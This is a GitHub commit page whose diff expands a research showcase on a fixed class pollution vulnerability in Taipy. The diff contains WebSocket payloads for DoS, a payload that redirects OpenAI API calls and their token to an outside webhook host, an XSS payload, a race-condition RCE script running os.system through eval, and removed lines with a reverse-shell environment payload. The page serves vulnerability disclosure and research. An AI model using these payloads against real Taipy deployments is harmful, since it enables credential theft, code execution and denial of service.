Skip to content

Commit 7c5e826

Browse files
committed
docs: expand Taipy showcase with detailed vulnerability analysis
Provide a comprehensive breakdown of the class pollution vulnerability in Taipy to better illustrate its impact and root cause. This update replaces high-level descriptions with specific exploitation scenarios, including remote code execution, denial of service, and sensitive data leakage. These details offer a clearer understanding of the risks associated with unvalidated attribute modification in dynamic state updates.
1 parent 278ab92 commit 7c5e826

1 file changed

Lines changed: 135 additions & 34 deletions

File tree

  • website/source/content/docs/collection/showcases

website/source/content/docs/collection/showcases/taipy.md

Lines changed: 135 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,17 @@ weight: 3
1616
| Input | Remote (WebSocket) |
1717
| Status | Fixed |
1818

19+
## Summary
20+
21+
We identified a class pollution vulnerability in Taipy that allows attackers to overwrite the Taipy runtime context, leading to severe consequences including RCE, Reflected XSS, Denial of Service (DoS), and leakage of sensitive authorization credentials (e.g., OpenAI tokens).
22+
1923
## Vulnerability
2024

21-
The vulnerability lies in `_attrsetter` in `taipy/gui/utils/_attributes.py`, which processes client update requests via WebSocket:
25+
The root cause lies in Taipy's use of a recursive set function to update variable values in Taipy states. Both the `name` and `value` parameters are derived from client-side input and lack proper validation. This allows an attacker to inject malicious input, such as `_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set`, to overwrite the `set` method of `_TaipyBase`.
26+
27+
The following functions are invoked in multiple routes via `_manage_message` to update states from the client side:
28+
29+
[`taipy/gui/utils/_attributes.py`](https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42):
2230

2331
```python
2432
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
@@ -29,63 +37,156 @@ def _attrsetter(obj: object, attr_str: str, value: object) -> None:
2937
setattr(obj, var_name_split[-1], value) # Attr-Set only
3038
```
3139

32-
The function:
33-
1. Splits the attacker-controlled `attr_str` by dots
34-
2. Resolves each segment via `getattr` (Constrained-Get)
35-
3. Sets the final attribute with `setattr` (Attr-Set)
40+
[`taipy/gui/utils/_attributes.py`](https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58):
3641

37-
No validation is performed on the attribute path.
42+
```python
43+
def _setscopeattr_drill(obj: object, attr_str: str, value: object) -> None:
44+
var_name_split = attr_str.split(sep=".")
45+
for i in range(len(var_name_split) - 1):
46+
sub_name = var_name_split[i]
47+
obj = getattr(obj, sub_name)
48+
setattr(obj, var_name_split[-1], value)
49+
```
3850

39-
## Detection by Pyrl
51+
The functions:
52+
1. Split the attacker-controlled `attr_str` by dots
53+
2. Resolve each segment via `getattr` (Constrained-Get)
54+
3. Set the final attribute with `setattr` (Attr-Set)
4055

41-
Pyrl tracks the taint from WebSocket input:
56+
No validation is performed on the attribute path.
4257

43-
1. `attr_str` and `value` parameters carry `T_INPUT`
44-
2. After `split(".")`, `var_name_split` is `T_ENUM`
45-
3. Loop iteration produces a `T_KEY` for each `sub_name`
46-
4. `getattr(obj, sub_name)` produces `T_OBJ` with `G_ATTR`
47-
5. Since only `getattr` is used (no item access branch), the program is **Constrained-Get**
48-
6. The `setattr` sink classifies the write as **Attr-Set**
58+
## PoC
4959

50-
Classification: **Constrained-Get × Attr-Set**
60+
### Consequence 1: DoS
5161

52-
## Exploitation
62+
<video controls width="100%">
63+
<source src="https://drive.google.com/file/d/1BESvtyaJyEOp0BkeFdZFdwj83_E9wp18/preview" type="video/mp4">
64+
</video>
5365

54-
### DoS
66+
**Steps:**
5567

68+
1. Set up the tutorial case from the [Taipy Getting Started Guide](https://docs.taipy.io/en/latest/tutorials/getting_started/) at `http://localhost:5000`.
69+
2. Visit the page, intercept the WebSocket request, and replace the `name` field with `_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set`. This overwrites the `set` method of `_TaipyBase` with a non-callable integer.
70+
71+
```json
72+
["message",{"type":"U","name":"_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set","payload":{"value":71,"on_change":"slider_moved"},"propagate":true,"client_id":"20250313210404484031-0.3099351422929606","ack_id":"Li_DKilnNL_N2AILnmFsD","module_context":"__main__"},null]
5673
```
57-
attr_str: __class__.__getattribute__
58-
value: "crash"
59-
```
6074

61-
### XSS
75+
3. Refresh the page and observe that dragging the slider causes the application to crash.
76+
77+
**Effect**: `_TaipyBase.set` is overwritten with a non-callable integer. Any subsequent state update operation raises `TypeError`, making the application completely unusable for all users.
78+
79+
---
80+
81+
### Consequence 2: OpenAI Token Leakage
82+
83+
**Steps:**
6284

63-
Via the same BeautifulSoup entity map technique as django-unicorn:
85+
1. Set up the LLM ChatBot example from the [Taipy ChatBot Tutorial](https://docs.taipy.io/en/latest/tutorials/articles/chatbot/) at `http://localhost:5000`. The source code can be found [here](https://github.com/Avaiga/demo-chatbot).
86+
2. Visit the page, send a message (e.g., "hello"), and intercept the WebSocket request. Replace the `name` field with `client.base_url` and the `value` field with an attacker-controlled domain. This step may require multiple attempts to succeed.
87+
88+
```json
89+
["message",{"type":"U","name":"client.base_url","payload":{"value":"https://webhook.site/0df4ac02-0b20-4ffc-bbda-287da8bc8a0a"},"propagate":true,"client_id":"20250315152148416630-0.5672333200699874","ack_id":"8OBXzCgeNv_DDW4MGpgnW","module_context":"__main__"},null]
6490
```
65-
attr_str: __class__.__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<
66-
value: <script>alert(1)</script>
91+
92+
3. Send additional messages and observe that requests intended for OpenAI are redirected to the attacker's server, along with the associated OpenAI token.
93+
94+
**Effect**: The attacker-controlled `base_url` causes all subsequent API calls (including the `Authorization: Bearer <token>` header) to be sent to the attacker's server, leaking the OpenAI API key.
95+
96+
---
97+
98+
### Consequence 3: XSS
99+
100+
<img src="https://github.com/user-attachments/assets/0aae38bb-8f08-4850-93c0-ffd60d9006ee" alt="Taipy XSS via class pollution" width="100%">
101+
102+
In [`taipy/gui/gui.py`](https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L542-L546), when the application attempts to render user content, if the content provider is not found, it falls back to returning `type(content).__name__` as the HTML response:
103+
104+
```python
105+
def _get_user_content_url(self, ...):
106+
...
107+
if provider is None:
108+
return type(content).__name__
67109
```
68110

69-
### RCE
111+
However, the `__name__` attribute of a class object is settable through class pollution, e.g., `tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__`. An attacker can overwrite this attribute with a malicious HTML or JavaScript payload.
112+
113+
**Exploit:**
70114

71-
Via environment variable pollution:
115+
```python
116+
pollute(
117+
"tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__",
118+
"<script>alert(document.domain)</script>"
119+
)
72120
```
73-
attr_str: __class__.__init__.__globals__.sys.modules.os.environ.BROWSER
74-
value: /bin/sh -c 'reverse_shell_command'
121+
122+
**Effect**: The attacker's script is injected into pages served to users who trigger the content rendering path.
123+
124+
---
125+
126+
### Consequence 4: RCE
127+
128+
<img src="https://github.com/user-attachments/assets/6419bc85-2492-44f2-857e-a7f60158ae31" alt="Taipy RCE via class pollution" width="100%">
129+
130+
The class pollution vulnerability allows attackers to set arbitrary attributes on objects that appear in the session state. We found that the `Gui.on_action` route can be leveraged to invoke the `Gui.table_on_edit` method, which allows new objects from the `__main__` module to be bound into the session state. In [`taipy/gui/gui.py`](https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872), a `getattr` call on the state object automatically triggers the binding operation, while a subsequent `setattr` immediately resets the bound value to `None`:
131+
132+
```python
133+
setattr(state, var_name, None) # briefly binds the object before resetting
75134
```
76135

77-
### Token Leakage
136+
This behavior creates a brief race window where object references, such as the `Gui` class, temporarily exist in the session state. During this window, attackers can exploit class pollution to overwrite attributes on those objects.
137+
138+
We further discovered that the `Gui.__SELF_VAR` attribute is used as a prefix when constructing expressions passed to Python's built-in `eval()` function in [`taipy/gui/utils/_evaluator.py`](https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/utils/_evaluator.py#L265):
78139

79-
Via disabling SSL verification or redirecting API calls:
140+
```python
141+
expr = f"{self.__SELF_VAR}.{expression}"
142+
eval(expr, ...)
80143
```
81-
attr_str: __class__.__init__.__globals__.sys.modules.os.environ.REQUESTS_CA_BUNDLE
82-
value: /dev/null
144+
145+
By overwriting the `__SELF_VAR` value through class pollution, an attacker can control the expression that gets evaluated, ultimately leading to arbitrary code execution on the server.
146+
147+
**Exploit (race condition):**
148+
149+
```python
150+
def run_race():
151+
num_pollute = 300
152+
barrier = threading.Barrier(num_pollute + 1)
153+
154+
threads = []
155+
for i in range(num_pollute):
156+
payload = "__import__('os').system('touch /tmp/pwned')"
157+
t = threading.Thread(
158+
target=pollute_race,
159+
args=(f"Gui._Gui__SELF_VAR", payload)
160+
)
161+
threads.append(t)
162+
t.start()
163+
164+
t_overwrite = threading.Thread(target=overwrite_race, args=("Gui",))
165+
threads.append(t_overwrite)
166+
t_overwrite.start()
167+
168+
barrier.wait()
83169
```
84170

171+
**Effect**: Arbitrary shell command execution as the Taipy server process user.
172+
85173
## Impact
86174

87-
Taipy is used in production ML pipelines and data applications. The WebSocket endpoint is accessible to any authenticated user, making this a remote-triggerable vulnerability with severe consequences. Taipy Enterprise promptly patched the issue after responsible disclosure.
175+
Any user of Taipy can exploit this vulnerability to launch RCE, Reflected XSS, Denial of Service (DoS), and leakage of sensitive authorization credentials (e.g., OpenAI tokens). The WebSocket endpoint is accessible to any user, making this a remote-triggerable vulnerability. Taipy Enterprise promptly patched the issue after responsible disclosure.
88176

89177
## Proof of Concept
90178

91-
See [`cp-collection/taipy/poc/`](https://github.com/jackfromeast/python-class-pollution/tree/main/cp-collection/taipy/poc) for the full exploit.
179+
[`cp-collection/taipy/poc/`](https://github.com/jackfromeast/python-class-pollution/tree/main/cp-collection/taipy/poc)
180+
&mdash; runnable exploit environment with `run.sh` and `requirements.txt`.
181+
182+
Full exploit scripts:
183+
- [RCE exploit](https://gist.github.com/jackfromeast/df377c20520c101ab61111b8f6da6583#file-rce-py)
184+
- [XSS exploit](https://gist.github.com/jackfromeast/df377c20520c101ab61111b8f6da6583#file-xss-py)
185+
186+
## References
187+
188+
1. CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes. <https://cwe.mitre.org/data/definitions/915.html>
189+
2. Class Pollution leading to RCE in pydash. <https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca>
190+
3. Prototype Pollution in Python. <https://blog.abdulrah33m.com/prototype-pollution-in-python/>
191+
4. Google Mesop fix (similar vulnerability). <https://github.com/google/mesop/pull/1171>
192+
5. Liu et al. *The First Large-Scale Systematic Study of Python Class Pollution Vulnerability*. IEEE S&P 2025. <https://jackfromeast.github.io/assets/Pyrl.pdf>

0 commit comments

Comments
 (0)